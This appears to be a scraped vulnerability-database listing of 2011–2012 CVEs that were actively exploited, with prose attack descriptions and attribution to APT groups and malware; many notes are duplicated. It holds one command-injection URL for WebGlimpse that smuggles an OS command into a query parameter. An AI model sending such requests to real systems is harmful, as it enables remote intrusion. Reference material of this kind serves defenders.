The weakness exists due to use-after-free error in the CMshtmlEd::Exec function in mshtml.dll. A remote attacker can create a specially crafted Web site, trick the victim into viewing it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The vulnerability was found exploited in the wild and discovered by Eric Romang.

A real-world attack using the vulnerability first appeared in a blog post in Sep.14, 2012. The vulnerability was used by "Nitro" hacking group.

Software: Microsoft Internet Explorer

The vulnerability was found exploited in the wild and discovered by Eric Romang.

A real-world attack using the vulnerability first appeared in a blog post in Sep.14, 2012. The vulnerability was used by "Nitro" hacking group.

Remote code execution in Oracle Java SE
CVE-2012-4681

Error Handling

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to improper handling of Rhino Javascript errors. A remote attacker can create a specially crafted Web site, trick the victim into visiting it and bypass sandbox restrictions to download and execute arbitrary code  with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The researchers of FireEye began investigation of the vulnerability after Twitter post made by Joshua J. Drake on August, 26.

Software: Oracle Java SE

The researchers of FireEye began investigation of the vulnerability after Twitter post made by Joshua J. Drake on August, 26.

Remote code execution in Windows Common Controls
CVE-2012-1856

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to boundary error in MSCOMCTL.OCX ActiveX control. A remote attacker can create a specially crafted Web page that passes an overly long string argument, trick the victim into visiting it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

Favorite hackers' vulnerability for years has been exploited along with CVE-2012-1856, CVE-2015-1641, CVE-2015-1770 in an APT campaign against journalists and human rights workers in Tibet, Hong Kong and Taiwan.


Software: Microsoft Office

Favorite hackers' vulnerability for years has been exploited along with CVE-2012-1856, CVE-2015-1641, CVE-2015-1770 in an APT campaign against journalists and human rights workers in Tibet, Hong Kong and Taiwan.


Remote code execution in Adobe Flash Player
CVE-2012-1535

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to boundary error when parsing malicious files. A remote attacker can create a specially crafted Flash (.swf) file embedded in a Microsoft Word (.doc) file, trick the victim into opening it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The vulnerability was reported by Alexander Gavrun. The exploit was used by Aurora Group.

Software: Adobe Flash Player

Known/fameous malware:

Exploit:SWF/CVE-2012-1535.A.

The vulnerability was reported by Alexander Gavrun. The exploit was used by Aurora Group.

Arbitrary file upload in MoinMoin
CVE-2012-6081

Arbitrary file upload

The vulnerability allows a remote authenticated attacker to compromise system.

The weakness exists due to insufficient validation of the filename extension when uploading files twikidraw (action/twikidraw.py) and anywikidraw (action/anywikidraw.py) actions. A remote authenticated attacker with write permissions can upload and execute arbitrary file with executable extension.

Successful exploitation of the vulnerability may allow an attacker to compromise vulnerable system.

Note: the vulnerability was being actively exploited.
i

The vulnerability was exploited to compromise Debian's wiki and Python documentation website in December, 2012. The exploitation's method used is based on an exploit from Pastebin.

Software: MoinMoin

The vulnerability was exploited to compromise Debian's wiki and Python documentation website in December, 2012. The exploitation's method used is based on an exploit from Pastebin.

Insecure DLL loading in SIMATIC STEP 7 and PCS 7
CVE-2012-3015

DDL hijacking

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to insecure DDL loading mechanism when processing STEP 7 files in SIMATIC STEP 7 and SIMATIC PCS 7 software. A remote attacker can trick the victim into opening a SETP 7 file from a remote SMB or WebDAV share, which hosts malicious .dll file, and execute arbitrary code on the target system.

Successful exploitation of the vulnerability may allow an attacker to compromise vulnerable system.

Note: the vulnerability has been exploited in the wild by Stuxnet malware in 2010.

i

The vulnerability was used by Stuxnet along with CVE-2010-2772.

Software: SIMATIC STEP 7

Known/fameous malware:

Stuxnet

The vulnerability was used by Stuxnet along with CVE-2010-2772.

Remote code execution in Microsoft Office
CVE-2012-1854

Untrusted Search Path

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to the way Microsoft Office loads .dll libraries when opening Office documents (such as a .docx file). A remote attacker can place a specially crafted .dll file along with Microsoft Office document on a remote SMB or WebDAV share, trick the victim into opening that document and execute arbitrary code on the target system with privileges of the current user.

Successful exploitation of the vulnerability may allow an attacker to compromise vulnerable system.

Note: the vulnerability was being actively exploited.
i

The vulnerability was being actively exploited since mid-March, 2012. The targeted attacks were focusing on Japanese organizations.

Software: Microsoft Office

The vulnerability was being actively exploited since mid-March, 2012. The targeted attacks were focusing on Japanese organizations.

Remote code execution in Oracle Java SE
CVE-2012-1723

Improper Input Validation

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to an error in the HotSpot bytecode verifier. By using untrusted Java Web Start applications and untrusted Java applets in a client deployment, a remote attacker can execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The vulnerability was exploited by BlackHole Exploit Toolkit after official patch.
The vulnerability was made public by Michael тАШmihiтАЩ Schierl.
According to Brian Krebs, the exploit was used in targeted attacks before official patch from Oracle.

Software: Oracle Java SE

Known/fameous malware:

Trojan.Maljava.

The vulnerability was exploited by BlackHole Exploit Toolkit after official patch.
The vulnerability was made public by Michael тАШmihiтАЩ Schierl.
According to Brian Krebs, the exploit was used in targeted attacks before official patch from Oracle.

Multiple vulnerabilities in Microsoft Internet Explorer
CVE-2012-1875

Use-after-free error

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to a use-after-free error related to same id property when attempting to access objects that have been deleted. A remote attacker can create a specially crafted Web site, trick the victim into viewing it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

A functional exploit with shellcode appeared on PasteBin on 8.06.12 - four days before the Microsoft patch release.
The vulnerability was reported by adept with nickname Dark Son and researcher Yichong Lin.

Software: Microsoft Internet Explorer

Known/fameous malware:

Trojan.Naid.

A functional exploit with shellcode appeared on PasteBin on 8.06.12 - four days before the Microsoft patch release.
The vulnerability was reported by adept with nickname Dark Son and researcher Yichong Lin.

Remote code execution in Microsoft XML Core Services
CVE-2012-1889

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to boundary error in XML Core Services (MSXML) when attempting to access an object in memory that has not been initialized. A remote attacker can create a specially crafted Web site, trick the victim into viewing it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

One of the vulnerabilities used by Aurora group.

The attackers used the CVE-2010-2884 and CVE-2012-1889 0-day exploits to specifically target visitors to Amnesty International Hong Kong site

 20.06.2012 SophosLabs determined that the website of a European aeronautical parts supplier had been hacked and delivered exploit for CVE-2012-1889.

TrendMicro observed the vulnerability targeting Chinese high school webpage.

Software: Microsoft XML Core Services

One of the vulnerabilities used by Aurora group.

The attackers used the CVE-2010-2884 and CVE-2012-1889 0-day exploits to specifically target visitors to Amnesty International Hong Kong site

 20.06.2012 SophosLabs determined that the website of a European aeronautical parts supplier had been hacked and delivered exploit for CVE-2012-1889.

TrendMicro observed the vulnerability targeting Chinese high school webpage.

Remote code execution in PHP
CVE-2012-2376

Buffer overflow

The vulnerability allows a remote attacker to cause DoS conditions or execute arbitrary code on the target system.

The weakness exists due to buffer overflow in the com_print_typeinfo function. A remote attacker can send a specially crafted arguments, trigger incorrect handling of COM object VARIANT types and cause the target application to crash or execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in denial of service or arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

Bug with Variant type parsing was originally discovered by Condis. There is evidence this vulnerability was being exploited in the wild before official patch release.

Software: PHP

Known/fameous malware:

Trojan.Filecoder

Bug with Variant type parsing was originally discovered by Condis. There is evidence this vulnerability was being exploited in the wild before official patch release.

Arbitrary code execution in Linux kernel
CVE-2012-2319

Buffer overflow

The vulnerability allows a local attacker to execute arbitrary code on the target system.

The weakness exists due to buffer overflow in the driver within HFS plus filesystem. By using a specially crafted Hierarchical File System (HFS) filesystem, a local attacker can trigger memory corruption and execute arbitrary code with system privileges.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

This is a zero-day according to Trustwave.

CVE-2012-2319 is a follow-up to CVE-2009-4020; issues in the HFS file system were detailed and patched on Dec. 3, 2009, but HFSPlus was left vulnerable until May 4, 2012.

Software: Linux kernel

This is a zero-day according to Trustwave.

CVE-2012-2319 is a follow-up to CVE-2009-4020; issues in the HFS file system were detailed and patched on Dec. 3, 2009, but HFSPlus was left vulnerable until May 4, 2012.

Remote code execution in Adobe Flash Player
CVE-2012-0779

Type Confusion

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to object type confusion error when processing .swf files. A remote attacker can create a specially crafted .swf file, trick the victim into opening it and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

This vulnerability has been exploited in the wild as part of the "World Uyghur Congress Invitation.doc" e-mail attack.

Software: Adobe Flash Player

Known/fameous malware:

TROJ_SCRIPBRID.A; backdoor BKDR_INJECT.EVL.

This vulnerability has been exploited in the wild as part of the "World Uyghur Congress Invitation.doc" e-mail attack.

Remote command injection in PHP
CVE-2012-2311

OS command injection

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to error when parsing QUERY_STRING parameters within PHP-CGI-based application (sapi/cgi/cgi_main.c). A remote attacker can send specially crafted HTTP request with query string, contain a %3D sequence but no = (equals sign) character, inject and execute arbitrary OS commands on vulnerable system with privileges of the web server.

Successful exploitation of the vulnerability results in denial of service or arbitrary code execution on the vulnerable system.

This vulnerability is a result of an incomplete fix for SB2012050301.

Note: the vulnerability was being actively exploited.
i

Also known as CVE-2012-1823.The patch for the original vulnerability CVE-2012-1823 was accidentally disclosed before the official release however did not fix the issue. The vulnerability became widely discussed in the public and used in real-world attacks. It took several days for the developers to issue a proper security patch.

The vulnerability was being exploited by Linux worm (Linux.Darlloz) in 2013 to target the Internet of things (IoT) devices.


Software: PHP

Known/fameous malware:

Linux.Darlloz

Also known as CVE-2012-1823.The patch for the original vulnerability CVE-2012-1823 was accidentally disclosed before the official release however did not fix the issue. The vulnerability became widely discussed in the public and used in real-world attacks. It took several days for the developers to issue a proper security patch.

The vulnerability was being exploited by Linux worm (Linux.Darlloz) in 2013 to target the Internet of things (IoT) devices.


TNS Listener Poisoning Attack in Oracle Database
CVE-2012-1675

Spoofing attack

The vulnerability allows a remote attacker to perform spoofing attack.

The vulnerability exists due to an error in the TNS listener service. A remote attacker can register an existing instance or service name, use man-in-the-middle techniques and read, inject or modify transmitted data.

Successful exploitation of this vulnerability may result in unauthorized access to entire database.

Note: the vulnerability was being actively exploited.

i

Joxean Koret discovered this vulnerability in 2008 and publicly disclosed in 2012.

The vulnerability was used in "TNS Listener Poison Attack"

Software: Oracle Database Server

Joxean Koret discovered this vulnerability in 2008 and publicly disclosed in 2012.

The vulnerability was used in "TNS Listener Poison Attack"

Remote code execution in MSCOMCTL.OCX ActiveX control in Microsoft Office
CVE-2012-0158

Stack-based buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to stack-based buffer overflow in MSCOMCTL.OCX ActiveX control. A remote attacker can create a specially crafted Web page that passes an overly long string argument, trick the victim into viewing it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

Researchers based in Asia noticed these malicious documents in Japan and Taiwan before they started showing up/targeting USA companies.

The vulnerability appeared to operate in 2014 in the Western Australian time zone. Examples of such groups include the 'Shiqiang Gang' (as reported by McAfee), 'PLEAD' (as reported by Trend Micro), 'NetTraveler' (as reported by Kaspersky) and 'APT12' (as reported by FireEye).

The vulnerability has been exploited in Red October attacks in 2012 and attacks targeting Chinese media organizations, personnel at government agencies in Europe, Middle East and Central Asia in 2013. The exploit was successfully used in breach attack against NewYork Times in August of 2013. The vulnerability was still exploited in 2016. Exploit for this vulnerability was used in Pawn Storm campaign as well.

Software: Microsoft Office

Known/fameous malware:

TROJ_DROPPER.IK
BKDR_HGDER.IK.

Researchers based in Asia noticed these malicious documents in Japan and Taiwan before they started showing up/targeting USA companies.

The vulnerability appeared to operate in 2014 in the Western Australian time zone. Examples of such groups include the 'Shiqiang Gang' (as reported by McAfee), 'PLEAD' (as reported by Trend Micro), 'NetTraveler' (as reported by Kaspersky) and 'APT12' (as reported by FireEye).

The vulnerability has been exploited in Red October attacks in 2012 and attacks targeting Chinese media organizations, personnel at government agencies in Europe, Middle East and Central Asia in 2013. The exploit was successfully used in breach attack against NewYork Times in August of 2013. The vulnerability was still exploited in 2016. Exploit for this vulnerability was used in Pawn Storm campaign as well.

Command injection in WebGlimpse
CVE-2012-1795

Command injection

The vulnerability allows a remote attacker to execute arbitrary commands on the target system.

The weakness exists due to insufficient sanitization of user-supplied data passed via the "query" HTTP GET parameter to "/webglimpse.cgi" script. A remote attacker can send a specially crafted HTTP request to vulnerable script and execute arbitrary OS commands on vulnerable system.

Exploitation example:

http://[host]/webglimpse.cgi?query=%27%26command+and+arguments+go+here%26%27

Successful exploitation may allow an attacker to gain complete control over vulnerable system.

Note: this vulnerability is being actively exploited.

i

The vulnerability was reported by Kevin Perry.

Software: Webglimpse

The vulnerability was reported by Kevin Perry.

SQL injection in Parallels Plesk Panel
CVE-2012-1557

SQL injection

The vulnerability allows a remote attacker to execute arbitrary SQL commands in vulnerable application.

The vulnerability exists due to insufficient sanitization of user-supplied data. A remote attacker can send a specially crafted HTTP request to vulnerable script and execute arbitrary SQL commands in the back-end database.

Successful exploitation may allow an attacker to gain unauthorized access to the vulnerable system.

Note: this vulnerability is being actively exploited.

i

The vulnerability may be tied to the DarkLeech attack campaign.

Software: Plesk

The vulnerability may be tied to the DarkLeech attack campaign.

Multiple vulnerabilities in Adobe Flash Player
CVE-2012-0767

Cross-site scripting

The vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks.

The vulnerability exists due to insufficient sanitization of user-input.A remote attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in userтАЩs browser in context of vulnerable website.

Successful exploitation of this vulnerability may allow a remote attacker to steal potentially sensitive information, change appearance of the web page, perform phishing and drive-by-download attacks.

Note: the vulnerability was being actively exploited.
i

The vulnerability was used to target Webmail accounts.

Software: Adobe Flash Player

The vulnerability was used to target Webmail accounts.

SQL Injection in TYPO3
CVE-2012-1071

SQL Injection

The vulnerability allows a remote attacker to execute arbitrary SQL commands in vulnerable application.

The vulnerability exists due to insufficient sanitization of user-supplied data. A remote attacker can send a specially crafted HTTP request to vulnerable script and execute arbitrary SQL commands in the back-end database.

Successful exploitation may allow an attacker to gain complete control over vulnerable system.

Note: this vulnerability is being actively exploited.

i

Raphael Noailles discovered and reported this issue.

Software: TYPO3

Raphael Noailles discovered and reported this issue.

Remote code execution in Oracle Java SE
CVE-2012-3213

Error Handling

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to improper handling of Rhino Javascript errors. A remote attacker can create a specially crafted Web site, trick the victim into visiting it and execute arbitrary code with privileges of the current user via untrusted Java Web Start applications and untrusted Java applets.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The vulnerability was disclosed by James Forsha.
Exploited by Wild Neutron.

Software: Oracle Java SE

Known/fameous malware:

Exploit.Java.CVE-2012-3213.b.

The vulnerability was disclosed by James Forsha.
Exploited by Wild Neutron.

Remote code execution in FreeBSD
CVE-2011-4862

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to buffer overflow in the encrypt_keyid() function of telnetd. A remote attacker can send a very large encryption key to telnetd daemon, trigger buffer overflow and execute arbitrary code with root privileges.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.

Software: FreeBSD

Remote code execution in Adobe Acrobat and Adobe Reader
CVE-2011-4369

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to boundary error in the PRC component. A remote attacker can create a specially crafted file, trick the victim into opening it, trigger memory corruption and execute arbitrary code on the system with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.

Software: Adobe Reader

Known/fameous malware:

EvilBunny

Remote code execution in Adobe Acrobat and Adobe Reader
тАЛCVE-2011-2462

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to boundary error when handling Universal 3D (U3D) data. A remote attacker can create a specially crafted .pdf file, trick the victim into opening it, trigger memory corruption and execute arbitrary code on the system with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

This 0-day vulnerability was discovered by Lockheed MartinтАЩs Computer Incident Response Team and was found that it is part of a targeted attack. The sample of the exploit analyzed by the researchers appears to come from BarclayтАЩs bank in New York City.

Software: Adobe Reader

Known/fameous malware:

Trojan Sykipot.

This 0-day vulnerability was discovered by Lockheed MartinтАЩs Computer Incident Response Team and was found that it is part of a targeted attack. The sample of the exploit analyzed by the researchers appears to come from BarclayтАЩs bank in New York City.

Remote code execution in Microsoft Windows
CVE-2011-3402

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to boundary error in the TrueType font parsing engine in win32k.sys in the kernel-mode drivers. A remote attacker can create a specially crafted Word document or web page containing font data, trick the victim into opening it, trigger memory corruption and execute arbitrary code on the target system.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

This vulnerability was being actively exploited by the Stuxnet in Duqu attack.

Software: Windows

Known/fameous malware:

Win32/Exploit.CVE-2011-3402.G
W32.Duqu

This vulnerability was being actively exploited by the Stuxnet in Duqu attack.

Multiple vulnerabilities in Adobe Flash Player
CVE-2011-2444

Cross-site scripting

The vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks.

The vulnerability exists due to insufficient sanitization of user-input passed via a crafted URL. A remote attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in userтАЩs browser in context of vulnerable website.

Successful exploitation of this vulnerability may allow a remote attacker to steal potentially sensitive information, change appearance of the web page, perform phishing and drive-by-download attacks.

Note: the vulnerability was being actively exploited in click-jacking campaigns.

i

Reported by Huzaifa S. Sidhpurwala.
That vulnerability shares some traits with an earlier Flash flaw that was used to target Gmail accounts in June.

Software: Adobe Flash Player

Reported by Huzaifa S. Sidhpurwala.
That vulnerability shares some traits with an earlier Flash flaw that was used to target Gmail accounts in June.

Remote code execution in Oracle Java SE
CVE-2011-3544

Error Handling

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to improper handling of Rhino Javascript errors. A remote attacker can create a specially crafted Web site, trick the victim into visiting it and execute arbitrary code with privileges of the current user via untrusted Java Web Start applications and untrusted Java applets.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

According to Trend Micro, this is a zero-day .The vulnerability was discovered by Michael Schierl.

Software: Oracle Java SE

Known/fameous malware:

Exploit:Java/CVE-2011-3544.

According to Trend Micro, this is a zero-day .The vulnerability was discovered by Michael Schierl.

Denial of service in Apache HTTP Server
CVE-2011-3192

Resource exhaustion

The vulnerability allows a remote attacker to cause DoS conditions on the target system.

The weakness exists due to an error in the ByteRange filter when processing malicious requests in Apache HTTP server. A remote attacker can send a specially crafted HTTP request containing an overly large Range header, exhaust all available memory resources and trigger the application to crash.

Successful exploitation of the vulnerability results in denial service on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The vulnerability is known as "Apache Killer".

Software: Apache HTTP Server

The vulnerability is known as "Apache Killer".

Denial of service in Microsoft RDP
CVE-2011-1968

Denial of service

The vulnerability allows a remote attacker to cause DoS conditions on the target system.

The weakness exists due to an error in the Remote Desktop Protocol when processing a sequence of malicious packets. A remote attacker can send a specially crafted RDP packets, gain access to an object that was not properly initialized or is deleted and cause the system to stop responding and restart.

Successful exploitation of the vulnerability results in denial of service on the vulnerable system.

Note: the vulnerability was being actively exploited.

Software: Windows

Remote code execution in Valenok Mongoose
CVE-2011-2900

Stack-based buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to stack-based buffer overflow, caused by improper bounds checking by the put_dir() function when processing malicious requests. A remote attacker can send a specially crafted HTTP PUT request, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The vulnerability is being exploited in the wild against Ubiquisys routers. Fully functional exploit code was made publicly available on August 2, 2011.

Software: Mongoose

The vulnerability is being exploited in the wild against Ubiquisys routers. Fully functional exploit code was made publicly available on August 2, 2011.

Arbitrary file upload Binarymoon TimThumb
CVE-2011-4106

Arbitrary file upload

The vulnerability allows a remote attacker to execute arbitrary PHP code on the target system.

The vulnerability exists due to improper storing of content in the cache directory when processing input. A remote attacker can send a specially crafted HTTP request containing a white-listed domain in the src parameter, upload a malicious PHP script and execute arbitrary PHP code.

Successful exploitation of the vulnerability may allow an attacker to execute arbitrary PHP code on the vulnerable system.

Note: the vulnerability was being actively exploited.

Not patched
i

The exploit was announced by Mark Maunder.

Software: TimThumb

The exploit was announced by Mark Maunder.

Multiple vulnerabilities in Apple iOS
CVE-2011-0226

Integer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to integer overflow when handling of Type 1 fonts by FreeType. A remote attacker can send a specially crafted PDF file, trick the victim into opening it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in compromise of vulnerable system.

Note: the vulnerability was being actively exploited.

i

Exploited in the wild via malicious PDF files.

Software: Apple iOS

Exploited in the wild via malicious PDF files.

Remote code execution in JustSystems Ichitaro
CVE-2011-1331

Heap-based buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to heap-based buffer overflow when handling malformed files. A remote attacker can create a specially crafted file, trick the victim into opening it, trigger memory corruption and execute arbitrary code on the system with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

According to Symantec the first exploitation of the vulnerability was discovered on 2009-03-19.

Software: Ichitaro

Known/fameous malware:

Trojan.Tarodrop.L

According to Symantec the first exploitation of the vulnerability was discovered on 2009-03-19.

Privilege escalation in Microsoft Windows
CVE-2011-1249

Privilege escalation

The vulnerability allows a local user to gain elevated privileges on the target system.

The vulnerability exists due to improper validation of input passed from user mode to the kernel in the Ancillary Function Driver (afd.sys). By running a malicious application, a local attacker with valid login credentials can execute arbitrary code with system privileges.

Successful exploitation of this vulnerability will allow the local attacker to obtain elevated privileges on vulnerable system.

Note: the vulnerability was being actively exploited.

Software: Windows

Multiple vulnerabilities in Microsoft Internet Explorer
CVE-2011-1255

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to boundary error related to time element when Internet Explorer attempts to access objects that have not been correctly initialized or have been deleted. A remote attacker can create a specially crafted Web site, trick the victim into visiting it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability may result in arbitrary code execution on the vulnerable system.

Note: According to experts from M86, the vulnerability was exploited in targeted attacks before the official patch release from Microsoft.
i

According to experts from M86, this vulnerability was exploited in targeted attacks before the official patch release from Microsoft.

Software: Microsoft Internet Explorer

According to experts from M86, this vulnerability was exploited in targeted attacks before the official patch release from Microsoft.

Remote code execution in Adobe Flash Player
CVE-2011-2110

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to an array indexing error in the ActionScript3 AVM2 verification logic. A remote attacker can create a specially crafted Web site, trick the victim into visiting it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

This is the same vulnerability that was used for attacks against Korean based organizations.
The vulnerability wasd exploited to compromise legitimate websites (including an Indian government site, a US airport site, and an aerospace site).

Software: Adobe Flash Player

This is the same vulnerability that was used for attacks against Korean based organizations.
The vulnerability wasd exploited to compromise legitimate websites (including an Indian government site, a US airport site, and an aerospace site).

Cross-site scripting in Adobe Flash Player
CVE-2011-2107

Cross-site scripting

The vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks.

The vulnerability exists due to insufficient sanitization of user-input. A remote attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in userтАЩs browser in context of website hosting an .swf file.

Successful exploitation of this vulnerability may allow a remote attacker to steal potentially sensitive information, change appearance of the web page, perform phishing and drive-by-download attacks.

Note: the vulnerability was being actively exploited.
i

The pay for an exploit might be around $5k-$10k at the moment.

Software: Adobe Flash Player

The pay for an exploit might be around $5k-$10k at the moment.

Denial of service in Apache Subversion
CVE-2011-1752

Null pointer dereference

The vulnerability allows a remote attacker to cause DoS conditions on the target system.

The weakness exists due to NULL pointer dereference in the mod_dav_svn module when processing baselined WebDAV resources. A remote attacker can create a specially crafted request, send it to the victim and cause the Subversion server to crash.

Successful exploitation of the vulnerability results in denial of service on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The vulnerability was discovered by Joe Schaefer.

Software: Subversion

The vulnerability was discovered by Joe Schaefer.

Security bypass in Plone
CVE-2011-1950

Security bypass

The vulnerability allows a remote attacker to bypass security restrictions on the target system.

The weakness exists due to improper checking for authorization by plone.app.user. A remote attacker can modify the properties of arbitrary accounts.

Successful exploitation of the vulnerability may result in attacker's access to the vulnerable system.

Note: the vulnerability was being actively exploited.

Software: Plone

Multiple vulnerabilities in Adobe Flash Player
CVE-2011-0627

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to boundary error in the Flash Player authplay.dll component. A remote attacker can create a specially crafted Flash (.swf) file embedded in a Microsoft Word (.doc) or Microsoft Excel (.xls) file, trick the victim into opening it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: this vulnerability is being actively exploited.
i

There are reports of malware attempting to exploit this vulnerability via a Flash (.swf) file embedded in a Microsoft Word (.doc) or Microsoft Excel (.xls) file delivered as an email attachment targeting the Windows platform.

Software: Adobe Flash Player

There are reports of malware attempting to exploit this vulnerability via a Flash (.swf) file embedded in a Microsoft Word (.doc) or Microsoft Excel (.xls) file delivered as an email attachment targeting the Windows platform.

Multiple vulnerabilities in Adobe Flash Player
CVE-2011-0618

Integer Overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to integer overflow. A remote attacker can create a specially crafted Web site, trick the victim into visiting it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

According to Symantec the first exploitation of the vulnerability was discovered on 2010-01-03.

Software: Adobe Flash Player

Known/fameous malware:

Bloodhound.Exploit.412

According to Symantec the first exploitation of the vulnerability was discovered on 2010-01-03.

Multiple vulnerabilities in Microsoft Windows
CVE-2012-0181

Improper input validation

The vulnerability allows a local user to obtain elevated privileges on the target system.

The vulnerability exists due to improper managing of Keyboard Layout files by the kernel-mode driver (win32k.sys). A local attacker can execute arbitrary code on vulnerable system with SYSTEM privileges.

Successful exploitation of this vulnerability will allow the local attacker to obtain elevated privileges on vulnerable system.

Note: the vulnerability was being actively exploited.

i

According to Trustwave this is a zero-day.
A private exploit has been developed by Cr4sh and been published 2 weeks after the advisory.

CVE-2012-0181 fixes an issue alluded to on exploitdb site on Nov. 21, 2011, fixed July 10, 2012.

Software: Windows

According to Trustwave this is a zero-day.
A private exploit has been developed by Cr4sh and been published 2 weeks after the advisory.

CVE-2012-0181 fixes an issue alluded to on exploitdb site on Nov. 21, 2011, fixed July 10, 2012.

Multiple vulnerabilities in Microsoft Internet Explorer
CVE-2011-0094

Use-after-free error

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to use-after-free error when handling layout objects that have not been correctly initialized or have been deleted. A remote attacker can create a specially crafted Web site, trick the victim into visiting it, trigger memory corruption and execute arbitrary code on the system with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

This vulnerability was reported to iDefense by anonymous. NSS was ready to pay for exploit for this vulnerability $100-500.

The vulnerability was used to compromise Philippines human rights website.

Software: Microsoft Internet Explorer

Known/fameous malware:

Exploit:Win32/CVE-2011-0094.A

This vulnerability was reported to iDefense by anonymous. NSS was ready to pay for exploit for this vulnerability $100-500.

The vulnerability was used to compromise Philippines human rights website.

Remote code execution in Adobe Flash Player
CVE-2011-0611

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to boundary error in authplay.dll component. A remote attacker can create a specially Flash (.swf) file embedded in a Microsoft Word (.doc) file, trick the victim into opening it, trigger memory corruption, and execute arbitrary code on the system with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The vulnerability has being used during 1 month before disclosure. The campaign started with spam emails enticing users to open its attachment, typically a Microsoft Word document (or a zip file of a Microsoft Word document), which contained inside the malicious Flash exploit.

